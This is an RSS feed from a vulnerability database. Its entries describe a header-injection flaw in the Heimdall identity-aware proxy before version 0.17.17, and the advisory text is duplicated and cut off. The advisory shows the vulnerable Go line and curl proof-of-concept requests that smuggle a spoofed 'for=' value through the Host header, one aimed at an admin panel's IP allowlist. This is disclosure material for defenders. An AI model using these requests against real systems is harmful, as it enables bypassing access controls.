https://db.gcve.eu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 24 Oct 2026 11:58:38 +0000 https://db.gcve.eu/vuln/fkie_cve-2026-57209 <p>Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request&#39;s Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services. This issue has been patched in version 0.17.17.</p> <p>Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request&#39;s Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services. This issue has been patched in version 0.17.17.</p> https://db.gcve.eu/vuln/fkie_cve-2026-57209 https://db.gcve.eu/vuln/ghsa-4jgr-pg2m-m988 <p><strong>Affected:</strong> Go: github.com/dadrus/heimdall</p> <p>### Summary</p> <p>When Heimdall operates in proxy mode, it constructs the `Forwarded` HTTP header after executing the matched rule pipeline by inserting the incoming request&#39;s `Host` header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the `Forwarded` header, potentially spoofing IP addresses for upstream services.</p> <p>### Vulnerable Code</p> <p>**File: `proxy/request_context.go` (line 201)**</p> <p>```go entry := &#34;for=&#34; + clientIP + &#34;;host=&#34; + in.Host + &#34;;proto=&#34; + proto ```</p> <p>Go&#39;s `net/http` allows commas and semicolons in Host header values. No sanitization is applied before string concatenation.</p> <p>### PoC</p> <p>```bash # Inject a spoofed IP into the Forwarded header curl -s -H &#34;Host: evil.com,for=127.0.0.1&#34; \ &#34;http://TARGET:PORT/protected-resource&#34; ```</p> <p>This produces the following `Forwarded` header sent to the upstream service:</p> <p>``` Forwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http ```</p> <p>Upstream services that parse the `Forwarded` header according to RFC 7239 will see two entries. If the service trusts the last or any `for=` value, the attacker successfully spoofs `127.0.0.1` as the client IP.</p> <p>```bash # More targeted attack: spoof to bypass IP allowlist curl -s -H &#34;Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1&#34; \ &#34;http://TARGET:PORT/admin-panel&#34; ```</p> <p>### Impact</p> <p>- **IP spoofing:** Upstream services behind Heimdall may trust the injected `for=` value, believing the request ori…</p> <p><strong>Affected:</strong> Go: github.com/dadrus/heimdall</p> <p>### Summary</p> <p>When Heimdall operates in proxy mode, it constructs the `Forwarded` HTTP header after executing the matched rule pipeline by inserting the incoming request&#39;s `Host` header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the `Forwarded` header, potentially spoofing IP addresses for upstream services.</p> <p>### Vulnerable Code</p> <p>**File: `proxy/request_context.go` (line 201)**</p> <p>```go entry := &#34;for=&#34; + clientIP + &#34;;host=&#34; + in.Host + &#34;;proto=&#34; + proto ```</p> <p>Go&#39;s `net/http` allows commas and semicolons in Host header values. No sanitization is applied before string concatenation.</p> <p>### PoC</p> <p>```bash # Inject a spoofed IP into the Forwarded header curl -s -H &#34;Host: evil.com,for=127.0.0.1&#34; \ &#34;http://TARGET:PORT/protected-resource&#34; ```</p> <p>This produces the following `Forwarded` header sent to the upstream service:</p> <p>``` Forwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http ```</p> <p>Upstream services that parse the `Forwarded` header according to RFC 7239 will see two entries. If the service trusts the last or any `for=` value, the attacker successfully spoofs `127.0.0.1` as the client IP.</p> <p>```bash # More targeted attack: spoof to bypass IP allowlist curl -s -H &#34;Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1&#34; \ &#34;http://TARGET:PORT/admin-panel&#34; ```</p> <p>### Impact</p> <p>- **IP spoofing:** Upstream services behind Heimdall may trust the injected `for=` value, believing the request ori…</p> https://db.gcve.eu/vuln/ghsa-4jgr-pg2m-m988